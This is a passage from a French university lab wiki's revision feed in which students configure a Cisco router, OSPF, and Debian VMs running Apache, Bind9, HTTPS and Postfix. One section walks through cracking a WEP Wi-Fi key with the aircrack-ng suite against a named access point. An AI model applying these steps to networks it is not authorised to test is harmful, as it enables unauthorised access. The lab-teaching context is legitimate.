  negotiation auto&lt;br /&gt;
  service instance 20 ethernet&lt;br /&gt;
   encapsulation dot1q 20&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 20&lt;br /&gt;
  !&lt;br /&gt;
  service instance 21 ethernet&lt;br /&gt;
   encapsulation dot1q 21&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 21&lt;br /&gt;
  !&lt;br /&gt;
  service instance 22 ethernet&lt;br /&gt;
   encapsulation dot1q 22&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 22&lt;br /&gt;
  !&lt;br /&gt;
  service instance 23 ethernet&lt;br /&gt;
   encapsulation dot1q 23&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 23&lt;br /&gt;
  !&lt;br /&gt;
  service instance 24 ethernet&lt;br /&gt;
   encapsulation dot1q 24&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 24&lt;br /&gt;
  !&lt;br /&gt;
  service instance 25 ethernet&lt;br /&gt;
   encapsulation dot1q 25&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 25&lt;br /&gt;
  !&lt;br /&gt;
  service instance 26 ethernet&lt;br /&gt;
   encapsulation dot1q 26&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 26&lt;br /&gt;
  !&lt;br /&gt;
  service instance 131 ethernet&lt;br /&gt;
   encapsulation dot1q 131&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 131&lt;br /&gt;
  !&lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
Ils sont configurés pour utiliser les bridges-domains suivant:&lt;br /&gt;
&lt;br /&gt;
 interface BDI20&lt;br /&gt;
  ip address 10.60.20.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI21&lt;br /&gt;
  ip address 10.60.21.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI22&lt;br /&gt;
  ip address 10.60.22.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI23&lt;br /&gt;
  ip address 10.60.23.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI24&lt;br /&gt;
  ip address 10.60.24.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI25&lt;br /&gt;
  ip address 10.60.25.1 255.255.255.240&lt;br /&gt;
 !         &lt;br /&gt;
 interface BDI26&lt;br /&gt;
  ip address 193.48.57.190 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI131&lt;br /&gt;
  ip address 192.168.222.9 255.255.255.248&lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
Les bridge-domains de 20 à 26 sont utilisés pour les VLAN correspondant à chaque utilisateur tandis que le BDI 31 est utilisé pour la communication avec le routeur de l&amp;#039;école.&lt;br /&gt;
&lt;br /&gt;
=== OSPF ===&lt;br /&gt;
&lt;br /&gt;
Le protocole OSPF (Open Shortest Path First) nous permet de partager nos tables de routage entre notre routeur et le routeur de l&amp;#039;école (192.168.222.8).&lt;br /&gt;
&lt;br /&gt;
 router ospf 1&lt;br /&gt;
  router-id 10.60.20.1&lt;br /&gt;
  summary-address 10.60.20.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.21.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.22.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.23.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.24.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.25.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.26.0 255.255.255.0&lt;br /&gt;
  summary-address 193.48.57.176 255.255.255.240&lt;br /&gt;
  redistribute connected subnets&lt;br /&gt;
  redistribute static subnets route-map ospf&lt;br /&gt;
  network 192.168.222.8 0.0.0.7 area 2&lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Xen ==&lt;br /&gt;
=== Proxy ===&lt;br /&gt;
&lt;br /&gt;
Pour pouvoir installer le proxy, nous devons configurer le proxy pour que APT puisse accéder à internet:&lt;br /&gt;
&lt;br /&gt;
 $ echo &amp;#039;Acquire::http::Proxy &amp;quot;http://helfaut.escaut.net:3128&amp;quot;;&amp;#039; &amp;gt; /etc/apt/apt.conf.d/01proxy&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Apache2 ===&lt;br /&gt;
&lt;br /&gt;
 $ apt-get install apache2&lt;br /&gt;
&lt;br /&gt;
On peut ensuite accéder à [http://193.48.57.182] pour visualiser &amp;quot;Apache2 Debian Default Page...&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Bind9 ===&lt;br /&gt;
&lt;br /&gt;
Une fois le nom de domaine acheté (unic0rn.pw) et configuré sur Gandi, il nous faut configurer bind9.&lt;br /&gt;
&lt;br /&gt;
 $ apt-get install bind9&lt;br /&gt;
&lt;br /&gt;
On commence par ajouter le DNS secondaire ns6.gandi.net:&lt;br /&gt;
&lt;br /&gt;
 $ cat /etc/bind/named.conf.options&lt;br /&gt;
     &lt;br /&gt;
 ...       &lt;br /&gt;
     allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
   &lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
   217.70.177.40/32 ;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut définir notre nom de domaine comme une zone:&lt;br /&gt;
&lt;br /&gt;
 $ cat /etc/bind/named.conf.local&lt;br /&gt;
  &lt;br /&gt;
 zone &amp;quot;unic0rn.pw&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;/etc/bind/unic0rn.pw&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Pour enfin écrire la configuration DNS associé à notre domaine et à ses sous-domaines:&lt;br /&gt;
&lt;br /&gt;
 # cat unic0rn.pw&lt;br /&gt;
  &lt;br /&gt;
 $TTL 259200&lt;br /&gt;
  &lt;br /&gt;
 @ IN SOA dns.unic0rn.pw. admin.unic0rn.pw. (&lt;br /&gt;
          10       ; Version&lt;br /&gt;
          7200             ; Refresh (2h)&lt;br /&gt;
          3600             ; Retry   (1h)&lt;br /&gt;
          1209600          ; Expire (14j)&lt;br /&gt;
          259200 )         ; Minimum TTL (3j)&lt;br /&gt;
   IN NS dns.unic0rn.pw.&lt;br /&gt;
   IN NS ns6.gandi.net.&lt;br /&gt;
   IN MX 100 dns.unic0rn.pw.&lt;br /&gt;
   IN A  193.48.57.182&lt;br /&gt;
 &lt;br /&gt;
 www	IN A       193.48.57.182&lt;br /&gt;
 dns	IN A       193.48.57.182&lt;br /&gt;
&lt;br /&gt;
On peut alors vérifier que tout fonctionne:&lt;br /&gt;
&lt;br /&gt;
 # service bind9 restart&lt;br /&gt;
 $ host unic0rn.pw&lt;br /&gt;
  &lt;br /&gt;
   Using domain server:&lt;br /&gt;
   Name: 127.0.0.1&lt;br /&gt;
   Address: 127.0.0.1#53&lt;br /&gt;
   Aliases: &lt;br /&gt;
     &lt;br /&gt;
   unic0rn.pw has address 193.48.57.182&lt;br /&gt;
   unic0rn.pw mail is handled by 100 dns.unic0rn.pw.&lt;br /&gt;
  &lt;br /&gt;
 $ curl unic0rn.pw | less&lt;br /&gt;
   % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current&lt;br /&gt;
                                     Dload  Upload   Total   Spent    Left  Speed&lt;br /&gt;
   100 14286    0 14286    0     0   638k      0 --:--:-- --:--:-- --:--:--  664k&lt;br /&gt;
   &amp;lt;!DOCTYPE html&amp;gt;...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Sécurité ===&lt;br /&gt;
&lt;br /&gt;
On a tenté du bruteforce sur mon login root SSH le soir même de l&amp;#039;installation de mon nom de domaine. Bien que l&amp;#039;on ne puisse pas se connecter en root via ma configuration, j&amp;#039;ai tout de même ajouté fail2ban:&lt;br /&gt;
&lt;br /&gt;
 # apt-get install fail2ban&lt;br /&gt;
&lt;br /&gt;
=== HTTPS ===&lt;br /&gt;
&lt;br /&gt;
Tout d&amp;#039;abord, il a fallu généré un certificat SSL. J&amp;#039;ai décidé de prendre un SHA-1 pour garder la compatibilité entre les navigateurs même si on devrait plutôt prendre un certificat SHA-2 pour une mise en production.&lt;br /&gt;
&lt;br /&gt;
 $ openssl req -nodes -newkey rsa:2048 -sha1 -keyout monserveur.key -out serveur.csr&lt;br /&gt;
&lt;br /&gt;
Il faut alors coller la clé dans l&amp;#039;interface de Gandi afin d&amp;#039;obtenir notre certificat.&lt;br /&gt;
&lt;br /&gt;
Pour ensuite installer notre certificat, il faut activer la librairie SSL dans apache2:&lt;br /&gt;
&lt;br /&gt;
 # a2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Et vérifier que apache2 écoute bien sur le port SSL/TLS dans /etc/apache2/ports.conf:&lt;br /&gt;
&lt;br /&gt;
 Listen 80&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;IfModule ssl_module&amp;gt;&lt;br /&gt;
 	Listen 443&lt;br /&gt;
 &amp;lt;/IfModule&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;IfModule mod_gnutls.c&amp;gt;&lt;br /&gt;
 	 Listen 443&lt;br /&gt;
 &amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour activer le certificat, j&amp;#039;ai choisis la méthode de vérification qui consiste a créer un document sur notre serveur web. Ceci dans le but que Gandi (ou Comodo) puisse vérifier que le serveur pointé par le nom de domaine nous appartient bien.&lt;br /&gt;
Une fois notre certificat généré, il faut l&amp;#039;installer sur le serveur:&lt;br /&gt;
&lt;br /&gt;
 $ cp unic0rn.pw.crt /etc/ssl/certs/&lt;br /&gt;
 $ cp monserveur.key /etc/ssl/private/unic0rn.pw.key&lt;br /&gt;
 $ cp GandiStandardSSLCA2.pem /etc/ssl/certs/&lt;br /&gt;
 $ c_rehash /etc/ssl/certs &lt;br /&gt;
 &lt;br /&gt;
Puis modifier la configuration d&amp;#039;apache2:&lt;br /&gt;
&lt;br /&gt;
 $ vim /etc/apache2/sites-enabled/000-default.conf&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
         ServerName www.unic0rn.pw&lt;br /&gt;
         ServerAlias unic0rn.pw&lt;br /&gt;
         DocumentRoot /var/www/html&lt;br /&gt;
         CustomLog /var/log/apache2/secure_access.log combined  &lt;br /&gt;
 &lt;br /&gt;
         SSLEngine on&lt;br /&gt;
         SSLCertificateFile /etc/ssl/certs/unic0rn.pw.crt&lt;br /&gt;
         SSLCertificateKeyFile /etc/ssl/private/unic0rn.pw.key&lt;br /&gt;
         SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
         SSLVerifyClient None&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on peut ensuite accéder à https://unic0rn.pw !&lt;br /&gt;
&lt;br /&gt;
=== Serveur email ===&lt;br /&gt;
&lt;br /&gt;
Le nom de domaine a un email de configuré (admin@unic0rn.pw), nous devons donc s&amp;#039;arranger pour recevoir les emails. On installe donc un serveur d&amp;#039;email:&lt;br /&gt;
&lt;br /&gt;
 # apt-get install postfix&lt;br /&gt;
 # echo &amp;quot;admin: root&amp;quot; &amp;gt;&amp;gt; /etc/aliases&lt;br /&gt;
&lt;br /&gt;
On envoie un email et on vérifie les emails:&lt;br /&gt;
&lt;br /&gt;
 # mail&lt;br /&gt;
&lt;br /&gt;
=== DNSSEC ===&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
== Attaque du WiFi ==&lt;br /&gt;
&lt;br /&gt;
On commence par activer le mode promicious de la carte wifi:&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
On liste les points d&amp;#039;accès pour trouver une cible:&lt;br /&gt;
&lt;br /&gt;
 # airodump-ng --encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
J&amp;#039;ai décidé ici d&amp;#039;attaquer &amp;quot;cracotte01&amp;quot; (canal 10) qui est un point d&amp;#039;accès configuré en WEP. On commence donc par récupérer les paquets transitants par ce point d&amp;#039;accès:&lt;br /&gt;
&lt;br /&gt;
 # airodump-ng -w out -c 10 -essid cracotte01 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Heureusement pour nous, quelqu&amp;#039;un est déjà connecté dessus et génére beaucoup de paquets. On arrive rapidement à 200.000 paquets et on peut donc lancer le crack de la clé WEP:&lt;br /&gt;
&lt;br /&gt;
 # aircrack-ng out-01.pcap&lt;br /&gt;
 &lt;br /&gt;
  KEY FOUND! [ EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:E4 ]&lt;/div&gt;</summary>
		<author><name>Dfourny</name></author>
	</entry>
	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki/index.php?title=TP_sysres_IMA2a5_2016/2017_G1&amp;diff=35418</id>
		<title>TP sysres IMA2a5 2016/2017 G1</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki/index.php?title=TP_sysres_IMA2a5_2016/2017_G1&amp;diff=35418"/>
		<updated>2016-11-25T11:35:51Z</updated>

		<summary type="html">&lt;p&gt;Dfourny : /* Xen */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;              \&lt;br /&gt;
               \&lt;br /&gt;
                \\&lt;br /&gt;
                 \\&lt;br /&gt;
                  &amp;gt;\/7&lt;br /&gt;
              _.-(6&amp;#039;  \&lt;br /&gt;
             (=___._/` \&lt;br /&gt;
                  )  \ |&lt;br /&gt;
                 /   / |&lt;br /&gt;
                /    &amp;gt; /&lt;br /&gt;
               j    &amp;lt; _\&lt;br /&gt;
           _.-&amp;#039; :      ``.&lt;br /&gt;
           \ r=._\        `.&lt;br /&gt;
          &amp;lt;`\\_  \         .`-.&lt;br /&gt;
           \ r-7  `-. ._  &amp;#039; .  `\&lt;br /&gt;
            \`,      `-.`7  7)   )&lt;br /&gt;
             \/         \|  \&amp;#039;  / `-._&lt;br /&gt;
                        ||    .&amp;#039;&lt;br /&gt;
                         \\  (&lt;br /&gt;
    unic0rn.pw           &amp;gt;\  &amp;gt;&lt;br /&gt;
                      ,.-&amp;#039; &amp;gt;.&amp;#039;&lt;br /&gt;
                     &amp;lt;.&amp;#039;_.&amp;#039;&amp;#039;&lt;br /&gt;
                       &amp;lt;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
== Plages d&amp;#039;IP ==&lt;br /&gt;
&lt;br /&gt;
   VLAN  |      Réseau     | Prénom  |   Xen    |      IP Xen       &lt;br /&gt;
  --------------------------------------------------------------&lt;br /&gt;
  VLAN20   10.60.20.0/24     Dimitri   Vald       193.48.57.182/28&lt;br /&gt;
  VLAN21   10.60.21.0/24     Nabil     Pnl        193.48.57.177/28&lt;br /&gt;
  VLAN22   10.60.22.0/24     Otmane    Lartiste   193.48.57.178/28&lt;br /&gt;
  VLAN23   10.60.23.0/24     Hugo      Gradur     193.48.57.179/28&lt;br /&gt;
  VLAN24   10.60.24.0/24     Clement   Gringe     193.48.57.180/28&lt;br /&gt;
  VLAN25   10.60.25.0/24     Joan      Orelsan    193.48.57.181/28&lt;br /&gt;
  VLAN26   193.48.57.176/28  Xen&lt;br /&gt;
&lt;br /&gt;
Routeur de Dimitri:&lt;br /&gt;
* 10.60.2?.1&lt;br /&gt;
* 193.48.57.190&lt;br /&gt;
* 192.168.222.9&lt;br /&gt;
&lt;br /&gt;
Routeur de Nabil:&lt;br /&gt;
* 10.60.2?.2&lt;br /&gt;
* 193.48.57.189&lt;br /&gt;
* 192.168.222.10&lt;br /&gt;
&lt;br /&gt;
==  Configuration du routeur ==&lt;br /&gt;
=== Version ===&lt;br /&gt;
&lt;br /&gt;
Je travaille actuellement sur une nouvelle version de IOS basé sur un Linux:&lt;br /&gt;
&lt;br /&gt;
 Cisco IOS XE Software, Version 03.13.04.S - Extended Support Release&lt;br /&gt;
 Cisco IOS Software, ISR Software (X86_64_LINUX_IOSD-UNIVERSALK9-M), Version 15.4(3)S4, RELEASE SOFTWARE (fc3)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Ports ===&lt;br /&gt;
&lt;br /&gt;
Les ports GigabitEthernet0/0/0 et GigabitEthernet0/0/1 ont exactement la même configuration puisque ce sont deux commutateurs qui seront branchés à ses ports.&lt;br /&gt;
&lt;br /&gt;
 interface GigabitEthernet0/0/0&lt;br /&gt;
  no ip address&lt;br /&gt;
  media-type sfp&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 20 ethernet&lt;br /&gt;
   encapsulation dot1q 20&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 20&lt;br /&gt;
  !&lt;br /&gt;
  service instance 21 ethernet&lt;br /&gt;
   encapsulation dot1q 21&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 21&lt;br /&gt;
  !&lt;br /&gt;
  service instance 22 ethernet&lt;br /&gt;
   encapsulation dot1q 22&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 22&lt;br /&gt;
  !&lt;br /&gt;
  service instance 23 ethernet&lt;br /&gt;
   encapsulation dot1q 23&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 23&lt;br /&gt;
  !&lt;br /&gt;
  service instance 24 ethernet&lt;br /&gt;
   encapsulation dot1q 24&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 24&lt;br /&gt;
  !&lt;br /&gt;
  service instance 25 ethernet&lt;br /&gt;
   encapsulation dot1q 25&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 25&lt;br /&gt;
  !&lt;br /&gt;
  service instance 26 ethernet&lt;br /&gt;
   encapsulation dot1q 26&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 26&lt;br /&gt;
  !&lt;br /&gt;
  service instance 131 ethernet&lt;br /&gt;
   encapsulation dot1q 131&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 131&lt;br /&gt;
  !&lt;br /&gt;
 !&lt;br /&gt;
 interface GigabitEthernet0/0/1&lt;br /&gt;
  no ip address&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 20 ethernet&lt;br /&gt;
   encapsulation dot1q 20&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 20&lt;br /&gt;
  !&lt;br /&gt;
  service instance 21 ethernet&lt;br /&gt;
   encapsulation dot1q 21&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 21&lt;br /&gt;
  !&lt;br /&gt;
  service instance 22 ethernet&lt;br /&gt;
   encapsulation dot1q 22&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 22&lt;br /&gt;
  !&lt;br /&gt;
  service instance 23 ethernet&lt;br /&gt;
   encapsulation dot1q 23&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 23&lt;br /&gt;
  !&lt;br /&gt;
  service instance 24 ethernet&lt;br /&gt;
   encapsulation dot1q 24&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 24&lt;br /&gt;
  !&lt;br /&gt;
  service instance 25 ethernet&lt;br /&gt;
   encapsulation dot1q 25&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 25&lt;br /&gt;
  !&lt;br /&gt;
  service instance 26 ethernet&lt;br /&gt;
   encapsulation dot1q 26&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 26&lt;br /&gt;
  !&lt;br /&gt;
  service instance 131 ethernet&lt;br /&gt;
   encapsulation dot1q 131&lt;br /&gt;
   rewrite ingress tag pop 1 symmetric&lt;br /&gt;
   bridge-domain 131&lt;br /&gt;
  !&lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
Ils sont configurés pour utiliser les bridges-domains suivant:&lt;br /&gt;
&lt;br /&gt;
 interface BDI20&lt;br /&gt;
  ip address 10.60.20.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI21&lt;br /&gt;
  ip address 10.60.21.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI22&lt;br /&gt;
  ip address 10.60.22.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI23&lt;br /&gt;
  ip address 10.60.23.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI24&lt;br /&gt;
  ip address 10.60.24.1 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI25&lt;br /&gt;
  ip address 10.60.25.1 255.255.255.240&lt;br /&gt;
 !         &lt;br /&gt;
 interface BDI26&lt;br /&gt;
  ip address 193.48.57.190 255.255.255.240&lt;br /&gt;
 !&lt;br /&gt;
 interface BDI131&lt;br /&gt;
  ip address 192.168.222.9 255.255.255.248&lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
Les bridge-domains de 20 à 26 sont utilisés pour les VLAN correspondant à chaque utilisateur tandis que le BDI 31 est utilisé pour la communication avec le routeur de l&amp;#039;école.&lt;br /&gt;
&lt;br /&gt;
=== OSPF ===&lt;br /&gt;
&lt;br /&gt;
Le protocole OSPF (Open Shortest Path First) nous permet de partager nos tables de routage entre notre routeur et le routeur de l&amp;#039;école (192.168.222.8).&lt;br /&gt;
&lt;br /&gt;
 router ospf 1&lt;br /&gt;
  router-id 10.60.20.1&lt;br /&gt;
  summary-address 10.60.20.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.21.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.22.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.23.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.24.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.25.0 255.255.255.0&lt;br /&gt;
  summary-address 10.60.26.0 255.255.255.0&lt;br /&gt;
  summary-address 193.48.57.176 255.255.255.240&lt;br /&gt;
  redistribute connected subnets&lt;br /&gt;
  redistribute static subnets route-map ospf&lt;br /&gt;
  network 192.168.222.8 0.0.0.7 area 2&lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Xen ==&lt;br /&gt;
=== Proxy ===&lt;br /&gt;
&lt;br /&gt;
Pour pouvoir installer le proxy, nous devons configurer le proxy pour que APT puisse accéder à internet:&lt;br /&gt;
&lt;br /&gt;
 $ echo &amp;#039;Acquire::http::Proxy &amp;quot;http://helfaut.escaut.net:3128&amp;quot;;&amp;#039; &amp;gt; /etc/apt/apt.conf.d/01proxy&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Apache2 ===&lt;br /&gt;
&lt;br /&gt;
 $ apt-get install apache2&lt;br /&gt;
&lt;br /&gt;
On peut ensuite accéder à [http://193.48.57.182] pour visualiser &amp;quot;Apache2 Debian Default Page...&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Bind9 ===&lt;br /&gt;
&lt;br /&gt;
Une fois le nom de domaine acheté (unic0rn.pw) et configuré sur Gandi, il nous faut configurer bind9.&lt;br /&gt;
&lt;br /&gt;
 $ apt-get install bind9&lt;br /&gt;
&lt;br /&gt;
On commence par ajouter le DNS secondaire ns6.gandi.net:&lt;br /&gt;
&lt;br /&gt;
 $ cat /etc/bind/named.conf.options&lt;br /&gt;
     &lt;br /&gt;
 ...       &lt;br /&gt;
     allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
   &lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
   217.70.177.40/32 ;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut définir notre nom de domaine comme une zone:&lt;br /&gt;
&lt;br /&gt;
 $ cat /etc/bind/named.conf.local&lt;br /&gt;
  &lt;br /&gt;
 zone &amp;quot;unic0rn.pw&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;/etc/bind/unic0rn.pw&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Pour enfin écrire la configuration DNS associé à notre domaine et à ses sous-domaines:&lt;br /&gt;
&lt;br /&gt;
 # cat unic0rn.pw&lt;br /&gt;
  &lt;br /&gt;
 $TTL 259200&lt;br /&gt;
  &lt;br /&gt;
 @ IN SOA dns.unic0rn.pw. admin.unic0rn.pw. (&lt;br /&gt;
          10       ; Version&lt;br /&gt;
          7200             ; Refresh (2h)&lt;br /&gt;
          3600             ; Retry   (1h)&lt;br /&gt;
          1209600          ; Expire (14j)&lt;br /&gt;
          259200 )         ; Minimum TTL (3j)&lt;br /&gt;
   IN NS dns.unic0rn.pw.&lt;br /&gt;
   IN NS ns6.gandi.net.&lt;br /&gt;
   IN MX 100 dns.unic0rn.pw.&lt;br /&gt;
   IN A  193.48.57.182&lt;br /&gt;
 &lt;br /&gt;
 www	IN A       193.48.57.182&lt;br /&gt;
 dns	IN A       193.48.57.182&lt;br /&gt;
&lt;br /&gt;
On peut alors vérifier que tout fonctionne:&lt;br /&gt;
&lt;br /&gt;
 # service bind9 restart&lt;br /&gt;
 $ host unic0rn.pw&lt;br /&gt;
  &lt;br /&gt;
   Using domain server:&lt;br /&gt;
   Name: 127.0.0.1&lt;br /&gt;
   Address: 127.0.0.1#53&lt;br /&gt;
   Aliases: &lt;br /&gt;
     &lt;br /&gt;
   unic0rn.pw has address 193.48.57.182&lt;br /&gt;
   unic0rn.pw mail is handled by 100 dns.unic0rn.pw.&lt;br /&gt;
  &lt;br /&gt;
 $ curl unic0rn.pw | less&lt;br /&gt;
   % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current&lt;br /&gt;
                                     Dload  Upload   Total   Spent    Left  Speed&lt;br /&gt;
   100 14286    0 14286    0     0   638k      0 --:--:-- --:--:-- --:--:--  664k&lt;br /&gt;
   &amp;lt;!DOCTYPE html&amp;gt;...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Sécurité ===&lt;br /&gt;
&lt;br /&gt;
On a tenté du bruteforce sur mon login root SSH le soir même de l&amp;#039;installation de mon nom de domaine. Bien que l&amp;#039;on ne puisse pas se connecter en root via ma configuration, j&amp;#039;ai tout de même ajouté fail2ban:&lt;br /&gt;
&lt;br /&gt;
 # apt-get install fail2ban&lt;br /&gt;
&lt;br /&gt;
=== HTTPS ===&lt;br /&gt;
&lt;br /&gt;
Tout d&amp;#039;abord, il a fallu généré un certificat SSL. J&amp;#039;ai décidé de prendre un SHA-1 pour garder la compatibilité entre les navigateurs même si on devrait plutôt prendre un certificat SHA-2 pour une mise en production.&lt;br /&gt;
&lt;br /&gt;
 $ openssl req -nodes -newkey rsa:2048 -sha1 -keyout monserveur.key -out serveur.csr&lt;br /&gt;
&lt;br /&gt;
Il faut alors coller la clé dans l&amp;#039;interface de Gandi afin d&amp;#039;obtenir notre certificat.&lt;br /&gt;
&lt;br /&gt;
Pour ensuite installer notre certificat, il faut activer la librairie SSL dans apache2:&lt;br /&gt;
&lt;br /&gt;
 # a2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Et vérifier que apache2 écoute bien sur le port SSL/TLS dans /etc/apache2/ports.conf:&lt;br /&gt;
&lt;br /&gt;
 Listen 80&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;IfModule ssl_module&amp;gt;&lt;br /&gt;
 	Listen 443&lt;br /&gt;
 &amp;lt;/IfModule&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;IfModule mod_gnutls.c&amp;gt;&lt;br /&gt;
 	 Listen 443&lt;br /&gt;
 &amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour activer le certificat, j&amp;#039;ai choisis la méthode de vérification qui consiste a créer un document sur notre serveur web. Ceci dans le but que Gandi (ou Comodo) puisse vérifier que le serveur pointé par le nom de domaine nous appartient bien.&lt;br /&gt;
Une fois notre certificat généré, il faut l&amp;#039;installer sur le serveur:&lt;br /&gt;
&lt;br /&gt;
 $ cp unic0rn.pw.crt /etc/ssl/certs/&lt;br /&gt;
 $ cp monserveur.key /etc/ssl/private/unic0rn.pw.key&lt;br /&gt;
 $ cp GandiStandardSSLCA2.pem /etc/ssl/certs/&lt;br /&gt;
 $ c_rehash /etc/ssl/certs &lt;br /&gt;
 &lt;br /&gt;
Puis modifier la configuration d&amp;#039;apache2:&lt;br /&gt;
&lt;br /&gt;
 $ vim /etc/apache2/sites-enabled/000-default.conf&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
         ServerName www.unic0rn.pw&lt;br /&gt;
         ServerAlias unic0rn.pw&lt;br /&gt;
         DocumentRoot /var/www/html&lt;br /&gt;
         CustomLog /var/log/apache2/secure_access.log combined  &lt;br /&gt;
 &lt;br /&gt;
         SSLEngine on&lt;br /&gt;
